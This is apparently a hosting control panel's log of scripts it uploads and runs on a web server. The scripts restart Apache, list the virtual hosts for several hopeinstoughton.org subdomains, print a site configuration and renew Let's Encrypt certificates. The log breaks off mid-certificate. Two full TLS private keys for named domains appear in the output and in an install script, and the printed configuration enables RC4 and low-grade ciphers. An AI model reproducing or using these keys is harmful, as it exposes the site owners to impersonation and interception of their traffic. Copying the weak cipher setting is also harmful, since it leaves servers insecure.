if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:01:47:
chmod 755 /tmp/pkp250267; /tmp/pkp250267; rm /tmp/pkp250267
2025-11-03 06:01:48:
.
2025-11-03 06:01:48: Establishing a connection
2025-11-03 06:01:49:
PUT: /tmp/pkp673243
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:01:50:
chmod 755 /tmp/pkp673243; /tmp/pkp673243; rm /tmp/pkp673243
2025-11-03 06:01:50:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443 is a NameVirtualHost
default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-11-03 06:01:50:
PUT: /tmp/pkp689708
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:01:50:
chmod 755 /tmp/pkp689708; /tmp/pkp689708; rm /tmp/pkp689708
2025-11-03 06:01:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf 2965
<VirtualHost *:80>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hopeinstoughton/cygnus_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_error.log
SetEnv pkp_uid 28
SetEnv pkp_owner stoughton
DirectoryIndex index.html index.htm index.php
# RewriteEngine On
# RewriteCond %{REQUEST_METHOD} !POST
# RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
</VirtualHost>
<VirtualHost *:443>
ServerName cygnus.hopeinstoughton.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734
DocumentRoot /var/www/cygnus/public
<Directory /var/www/cygnus/public>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
ProxyRequests Off
ProxyPreserveHost On
RewriteEngine On
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /(.*) ws://127.0.0.1:8080/$1 [P,L]
ProxyPassReverse / http://127.0.0.1:8080/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /webrtc/(.*) ws://127.0.0.1:8000/$1 [P,L]
ProxyPass /webrtc/ http://127.0.0.1:8000/
ProxyPassReverse /webrtc/ http://127.0.0.1:8000/
RewriteCond %{HTTP:Connection} Upgrade [NC]
RewriteCond %{HTTP:Upgrade} websocket [NC]
RewriteRule /qwerty/(.*) ws://192.168.1.19/$1 [P,L]
#<Location /qwerty/>
# ProxyHTMLEnable On
# ProxyHTMLExtended On
# ProxyPassReverse /
# SetOutputFilter proxy-html
# ProxyHTMLURLMap / ./
#</Location>
# ProxyPass /qwerty/ http://192.168.1.19/
# ProxyPassReverse /qwerty/ http://192.168.1.19/
CustomLog /var/log/apache2/hopeinstoughton/cygnus_secure_access.log combined
ErrorLog /var/log/apache2/hopeinstoughton/cygnus_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php
</VirtualHost>
2025-11-03 06:01:51:
PUT: /tmp/pkp653230
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-11-03 06:01:51:
chmod 755 /tmp/pkp653230; /tmp/pkp653230; rm /tmp/pkp653230
2025-11-03 06:01:51:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/de5c0e727038623f544d9b5f10eaf734 5378
8c:0b:d4:f5:7c:b5:fc:7e:92:6e:1b:72:77:2b:c6:3f
-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBpIQx/XDE7orjtnzp/Ygjna2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzEzWhcNMjYwMjAxMDUwMzEyWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMsdki5+ZFY1t20BfhbA3v7egkddFeUCzSt7tuTZE0oYn0eF
rjI92hNOkbffZ/FtrTiLW7tDXm4nTOl7IHIA8Tw/JNp2HpmzY0Jekcj7d8U9uOVQ
ctcuEQycb0ZsAFYfxAX3h66Eku/k1lLk65uHVLuvnqQJ6qHL/XtOdLqRv4PEkH3A
Dp5PT8jWIuVtTOnriOcX4duCGkm6TG4engDwCPO/5kN19Am1hPIceI2Dht1ejc62
Xi5ztZRgYcZmekj6LqSpYl4BwVYbIzw8YEkWl06kdrNNwy0ve/5EhAe1yyJm/oaz
x4Xp7OFXge//muCeuUT/WmAJsP484JKUk1zW860CAwEAAaOCAigwggIkMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUeBFcvfCnSNEh7OcMTqsVFhId+p8wHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzU1LmNybDCCAQIGCisG
AQQB1nkCBAIEgfMEgfAA7gB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp
3fjDAAABmkhOoCMAAAQDAEYwRAIgMT+tXbcqmDA8ePoczSBwF8BqdklvCkqfTlA4
kxD8/RACIBJnp/QuCJUG/oGpiz5tJAjI9BbrnU8t+veotpv/VR4lAHUADleUvPOu
qT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGaSE6gOQAABAMARjBEAiB5vtmb
fDB0SPC2d5b/Tj6mCiPgN6NNlyNjZUqkx2lb4QIgBMDFGuamKuEPYsP341TQQQS1
Sdr5xlE27yLEHx0HeEUwDQYJKoZIhvcNAQELBQADggEBABBLCQUVNGyWtr7AHoFn
uzL+0EyyXxWzg8FEHAHNxap+Gw6Iao5f7D/9q2WuCtuBfncce02OLdvpraptvo7B
kbZ79JjhpjRFFzlf4k/ryvOchqanhwxq+1D3tTwRu3Jz1q+Ab+bIi3ZlO4nhcfS5
qW1fLDj30AZ/lS6liLRZL03V2fM1O6OHdJMdzEstbMt79jzI+asQA6TZTkeXz66c
SK8jqNNfkSoYbg8EQ4n+Ls6LtbBfw0c/unnfGf76oLQ0+UAl6lx6ZllywL4C+zoC
EmTsQBZkp83DEVVt5FoOztTxsCsz9YOGFAPfEIlzRB33gcODnDNt28nldGz71vPJ
TwE=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDLHZIufmRWNbdt
AX4WwN7+3oJHXRXlAs0re7bk2RNKGJ9Hha4yPdoTTpG332fxba04i1u7Q15uJ0zp
eyByAPE8PyTadh6Zs2NCXpHI+3fFPbjlUHLXLhEMnG9GbABWH8QF94euhJLv5NZS
5Oubh1S7r56kCeqhy/17TnS6kb+DxJB9wA6eT0/I1iLlbUzp64jnF+HbghpJukxu
Hp4A8Ajzv+ZDdfQJtYTyHHiNg4bdXo3Otl4uc7WUYGHGZnpI+i6kqWJeAcFWGyM8
PGBJFpdOpHazTcMtL3v+RIQHtcsiZv6Gs8eF6ezhV4Hv/5rgnrlE/1pgCbD+POCS
lJNc1vOtAgMBAAECggEBAKz4F76kP8nyoKuhc8Doqn4c+pDPQo/tnM8E4bFs8rJM
2YdM3hVG+ukqJYmSJLBCmBrpAkssicQAj8zc37p19vk5RKcNo+18CHFCm5+uFkbP
0x7lLYb1Yet9ZH1yB69QCdyS+OazW3YTSDj7XXDrBEt4uP40u6zhTJGvNFSVPaR1
Qa0z3YA9APaNV8nwWJWw22UxPoHTdQaoszgHFALGBkiViQp7RLHUXEE8XmbKH4kx
+LKVRA6ttdlM6mTFugqa9R20gJNmi4KfpKrFRhTSHpiRVNcicDUIqy9LkVwM209M
SuOpovWLQ1oakX4n1DO/HqTQBZgbHr9LqzRslWnIVgECgYEA6FAcn+4ViTinCRCW
+gkC8FheFQF6C5VtugXHzBBvi17y5N7ZG76/tlOpWEEcXUfe4S5EbVqlKLW/jRkv
ok64T7e4raXUEblmxZN2hjaXn1oEWk9Q3zmP+GENHzV2At85JVWqBqRIbSKnlmL4
oEg09SdiTC2XzbuTz/Zy+gkwHG0CgYEA39NXS1TVB9aQvPBeIguWqHliWJNh/sly
RwyUYJh33LZxUC3aDF5Urx4J4kbqHpsY3KsYo2PZPqXKutEMGSzwYSy6jPW4uQKV
5KSzK3Hul1KmYSNlq2V+6KW59Hgh0q7wQzmDL8VkbtAGwPPoTKiZYu1DeDq3bomz
qu8oIa2RLEECgYEAmT5XU4w6+pS7YrhlzzPok2DHVvXtavy8L+ymOk9RNU+BzEXQ
U4QFdKFFYSk6K7JALKxXiQc1UWBqpgnKKTfiTvuzQCDWfoada5F1qt0SMZSwsF4H
y+httvtWK5MZcJWNXbpfeRgfipZElGhe92QKQvki13tv2s90lsdMWvF6ohUCgYEA
v9MZ4nb+6GvMuhDrLBRwd00oqy8M8lbleNzgIXUqbN9zd7sEQEtsGnUNFX+fUMGt
6hk80XNWkal3eOqGiuEH1tCFxR8mxHDh1AYPhDFtwQTVkTTMArvGq061cz6uBill
wsd8lil/LLVexGmFcoWgh7c+dsEjyjl74Qh8hXiCjcECgYAXV0r9Q5yGZGsXNNRa
c1/dYN0IW6aQpz3sDlZrkdCAkb8XAV1WT+1HcGtmn+2eB2IYpBYRPJDg1zDAfAvT
Xa56GdT8QVos7fRaodmNtqd0S0GJt1zgSdBT9Kb4HJ5gus1M4dpWcQw26I2pDb72
5Xq+kNGX4s7zQwGf826H9yzWyw==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-03 06:01:51: Establishing a connection
2025-11-03 06:01:52: Establishing a connection
2025-11-03 06:01:53:
PUT: /tmp/pkp317130
#!/bin/bash
if [ -d "/var/www/hopeinstoughton_cdn3/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-03 06:01:54:
chmod 755 /tmp/pkp317130; /tmp/pkp317130; rm /tmp/pkp317130
2025-11-03 06:01:55:
1
2025-11-03 06:01:55: Establishing a connection
2025-11-03 06:01:56:
PUT: /tmp/pkp428516
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cat > B9FXe6zom2h7p-M2QYUKKpHK7d7NjwrT0jBeSu4R0zI <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
B9FXe6zom2h7p-M2QYUKKpHK7d7NjwrT0jBeSu4R0zI.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 B9FXe6zom2h7p-M2QYUKKpHK7d7NjwrT0jBeSu4R0zI
2025-11-03 06:01:57:
chmod 755 /tmp/pkp428516; /tmp/pkp428516; rm /tmp/pkp428516
2025-11-03 06:01:57:
2025-11-03 06:02:01: Establishing a connection
2025-11-03 06:02:02:
PUT: /tmp/pkp201399
#!/bin/bash
mkdir -p "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
cd "/var/www/hopeinstoughton_cdn3/.well-known/acme-challenge/"
rm B9FXe6zom2h7p-M2QYUKKpHK7d7NjwrT0jBeSu4R0zI
2025-11-03 06:02:03:
chmod 755 /tmp/pkp201399; /tmp/pkp201399; rm /tmp/pkp201399
2025-11-03 06:02:03:
2025-11-03 06:02:03: Establishing a connection
2025-11-03 06:02:04:
PUT: /tmp/pkp752027
#!/bin/bash
temp_file=$(mktemp)
TARGET=0660cc0c014b1256b25525c3494eafa0
cat > $temp_file <<'endmsg'
30:ec:85:bd:99:be:1b:ca:08:41:10:1b:f9:2d:bd:15
-----BEGIN CERTIFICATE-----
MIIFCzCCA/OgAwIBAgISBoL+GbLrLTGFSQ5S4RJyYXhGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzMwWhcNMjYwMjAxMDUwMzI5WjAjMSEwHwYDVQQD
ExhjZG4zLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDoQy2YHmU3Z6m6IxVjzZeZ9AcABTAwA68wS0ZKCOcVewzxEgqd
grJaxe3NITDAnxknahqnLIyCyH83p1+nKZmUJf288gIo8VBx/2TGCH//YTaPSMe4
1vwBFv5NZiwHU3YN8XbAa3wLIpOqXB+Ti+agWRYCx/iGK3mVlLmJWZ1ClkJwuQmq
uHqY5U1Y6IdfCYZkPeFx8YO9xiSj5nNSWZwd/2WKJd6nr3vFj88GQ/K3tPQwcJrD
equooEBiTGwCCDVyczfAyFHO3D0TihgFldIbxGXyTmWwxuyCcErrjznF4pDEOqLE
yyZXlvF0nN3R6XSKj2tR6eZEn+vHLlpypS9JAgMBAAGjggInMIICIzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFEoJfIz+xOsbeg7NnfY2SW6j0W7DMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMy5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzEuY3JsMIIBAwYKKwYBBAHW
eQIEAgSB9ASB8QDvAHUAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAA
AAGaSE7h+QAABAMARjBEAiB8DfexAIMClnyTChX5LHKzhTlcNNEDN17kwfe4x/ei
UwIgE7WfYVjBRm2Wihieh+WnE6HeYkhkjk1ZT2tMTSoMP4sAdgAZhtTHKKpv/roD
b3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZpITuH6AAAEAwBHMEUCIQD1Ivtn0zWe
OnMUeA7ENs8NumxxXGT5ktyk8yvmfOoN6AIgHr4CJlCi6FoYz/GoC2Ye9ReYMeIp
kYPgzrorHNnTV/IwDQYJKoZIhvcNAQELBQADggEBAEWBQyy12T60emmFeHyTjLB9
73H+HJIuBazlILaIq2Al077TL8FNgJ5aiWsEIIURsOzXan8+p1vUpaEubVd96a6M
+mMp5Qdi8MjHMfmIfjJQVxCUGaGZDgpPXCnxat1TSlJxFtm4Iay5Fiax5DhEAPwD
d9uUUSj/5Z8mAo7zyHDeZhIATIc/J4Zg/UKTeREvEKcLtZZHN2Mk5NalBPLOS+dr
WZnI3RTcVamxj2N+1oIixfMUVTtiRfZll8gm80rhuhbTGBK8L/+L+1xyljH9jmft
A9PjMdMw2TywlNe5+I0zwedFgieVb3BQKh/T9XcQ6yHdS2ovFMwh0D5GFksv8zQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDoQy2YHmU3Z6m6
IxVjzZeZ9AcABTAwA68wS0ZKCOcVewzxEgqdgrJaxe3NITDAnxknahqnLIyCyH83
p1+nKZmUJf288gIo8VBx/2TGCH//YTaPSMe41vwBFv5NZiwHU3YN8XbAa3wLIpOq
XB+Ti+agWRYCx/iGK3mVlLmJWZ1ClkJwuQmquHqY5U1Y6IdfCYZkPeFx8YO9xiSj
5nNSWZwd/2WKJd6nr3vFj88GQ/K3tPQwcJrDequooEBiTGwCCDVyczfAyFHO3D0T
ihgFldIbxGXyTmWwxuyCcErrjznF4pDEOqLEyyZXlvF0nN3R6XSKj2tR6eZEn+vH
LlpypS9JAgMBAAECggEAXPV2LCoOLKyqu7sK9pT0lkObAaER9kWjOlsGWN9TTb+g
IGQuJ3iF1dreIHmmP5HtyV6oKDymSDni4O12VTtLIoZKFfNudeCPZ/Dl7nS8dgP8
iECC3zH8TptbULMR8CSxXUdFViIu1W4TV93jLXSS6558NsS+bUS9Nub9k0FwtZMW
zCcrceXZyqx5XnVRt82utoR6e/eLgtNh+e+SGwjddzMg0rF8LN0npPP5x3ZKWRTz
SKjoj9mKgwFuIbqy84oXDjhvpzcIms0zyzO7LmmjBrWyOaYbKFF2K83ZimB5tYea
nHCMWvv7XPfc/Menjf+dMM9TJMsyOkQXzxH1huUIOQKBgQD+P0yUhcssjxK6umCX
PdxPztvaXgrugLm84uf5yEIvReO8ay1V+4HyQ5CU84QpQfRzxfJFkID9fgNAHwZj
AIutB0ZYSR6uioe3TNR0t07DTFjyi6aQ5mZaWw0OwJBWj1jibnDu42AFNu6OMLGC
sFXHG9neXyPtLFhUB5bPsRQifwKBgQDp3RRjkO+cdpBXmjDg866kkyBkkos3dmhu
uqKTb6IHemN0IH2IPV8XsBEogtSJxgYG6PqVN1PCiiSXw0t0eoR9uAdvfJgrYQGi
6kJo5tDGO5wppIeTsDwBgEKkxX5PlgPaXvhnxy5Ih0ewG5rkjYJQGt4I5ZghhncB
VpkeBf86NwKBgQCz6sVdgQSTBrghTYzW2h7Slzb7Y3tm5c8KfKPeHbnATDvpdQrD
AtUlRGzHC0BmFddQKi7UzXqKaCcStCHH43X0PuanyS6eI0gBDax239Ur3RZApVR8
y554qGAoJVq+9nfW3IKseljTt9i+5HRpYDGDUhEuDLOWvb/PzwMI/G2cLwKBgFtt
L6xhHBuqCnIE+Ljo60yxrAdFdyGeq+MmGarUCJ8tzLW4gfsCKyvijEKvKxIVlYOc
D2LId3llcjrWgaguwZ84k8eVCRRkXzRmqsHCArqM0VdCWDJ3wm2/y84I24GXnzf+
ytQffUujf3YsxJg3bkuMxWLrB1eL7vhZ95BSPd5vAoGBAKSAEaD6OYjnHtABiuTM
erlNAneUzc61JLHNft6+ur4U0L2UF5hxdFnQ6owVfGTyaFUYLB+QWlsjUdlI1o8e
+qlUxb0iuPAksSQ2oS8SyXnfseD6LK1QxzhImM7PajRQmZApciFngOui1517g7p2
b5zytfnGRt+3F0q3G/YAtR0s
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
